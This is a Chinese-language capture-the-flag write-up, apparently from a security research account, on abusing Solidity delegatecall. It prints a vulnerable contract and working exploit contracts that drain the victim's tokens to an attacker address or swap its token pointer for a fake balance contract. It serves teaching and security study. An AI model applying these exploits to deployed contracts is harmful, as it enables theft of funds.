在solidity中,有两种call函数可以实现跨合约调用,包括call和delegatacall。
1.1 使用方法
<address>.call(...) returns (bool, bytes)
<address>.delegatacall(...) returns (bool, bytes)
1.2 区别
这时第五空间决赛杂项中的合约题,这题考查的就是delegatacall的漏洞利用。
2.1 源码
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract CTFToken is ERC20,Ownable {
bool airdropped;
constructor() ERC20("CTFToken", "CTF") {
_mint(address(msg.sender), 100000000000);
}
function airdrop(uint num) public onlyOwner {
require(!airdropped, "Already airdropped");
airdropped = true;
_mint(msg.sender, num);
}
}
contract Vuln {
CTFToken public token;
bool solved;
constructor() public {
token=new CTFToken();
}
function set(address _contract) public {
(bool success, bytes memory data) = _contract.delegatecall(
abi.encodeWithSignature("set()")
);
require(success, "delegatecall failed");
require(!solved, "");
}
function solve() public{
require(token.balanceOf(msg.sender)>=100000000000);
solved=true;
}
function isSolved() public view returns(bool){
return solved;
}
}
先查看被攻击合约,构造函数中新创建了一个CTFToken合约,CTFToken合约是一个ERC20合约,在部署该Token合约的时候就给msg.sender mint了100000000000wei,这里msg.sender就是被攻击合约。
回到被攻击合约,里面还有函数set、solve、isSolved。其中set函数delegatacall给定地址的set函数。
solve函数会判断调用者的token月是否足够,如果达标,则将solved置为true。
isSolved函数会根据solved触发flag。
2.2 解法1
delegatacall函数在调用的时候msg.sender依然会是本合约,我们可以利用这一点进行攻击。
因为CTFToken合约在部署的时候就已经向被攻击合约mint了足够数量的币,所以被攻击合约的余额是足够的,那么想办法把被攻击合约的余额转到攻击合约上就可以了。
我们可以在delegata合约中加入转账的逻辑,而因为delegatacall调用的msg.sender不变,所以就可以把钱转走:
contract Delegate {
address public ctfAddress;
constructor(address _ctfAddress) {
ctfAddress = _ctfAddress;
}
function set() public {
CTFToken token = CTFToken(ctfAddress);
// 这个地址是我们的外部地址
token.transfer(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4, 100000000000);
}
}
攻击合约:
contract POC {
constructor(address vulnAddress, address tokenAddress) {
Vuln vul = Vuln(vulnAddress);
Delegate dele = new Delegate(tokenAddress);
vul.set(address(dele));
}
}
这时再用这个外部地址调用被攻击合约的solve和isSolved函数就可以拿到flag。
contract POC {
constructor(address vulnAddress, address tokenAddress) {
Vuln vul = Vuln(vulnAddress);
Delegate dele = new Delegate(tokenAddress);
vul.set(address(dele));
}
}
2.3 复现1
首先部署被攻击合约:
获取CTFToken的合约地址,并通过该地址获取token地址的实例:
部署攻击合约:
由于攻击流程都在构造函数中,所以现在我们自己的外部地址应该有足够的余额了:
这时使用这个外部地址调用攻击合约的solve函数,就拿到flag了:
2.4 解法2
delegatacall不仅msg.sender是源合约,上下文也是源合约的,storage也是源合约的。
我们再回看solve函数:
这里需要msg.sender的token地址的余额大于一个值,那我们能不能把这个token地址改成我们部署的一个合约,并且重写balanceOf函数,并让它直接返回一个足够的值。
首先先部署一个假的token合约:
contract fakeToken {
function balanceOf(address _address) public view returns(uint256) {
return 100000000000;
}
}
再调用solve函数就可以拿到flag。
2.5 复现2
先部署被攻击合约,并获取token地址:
部署假的token合约:
部署delegata合约:
再将该合约的地址作为参数调用被攻击合约的set函数,在调用完成之后,被攻击合约的token地址应该会被改成我们伪造的假token的地址:
在调用solve就可以获取flag:
原文始发于微信公众号(山石网科安全技术研究院):Delegatacall的多种利用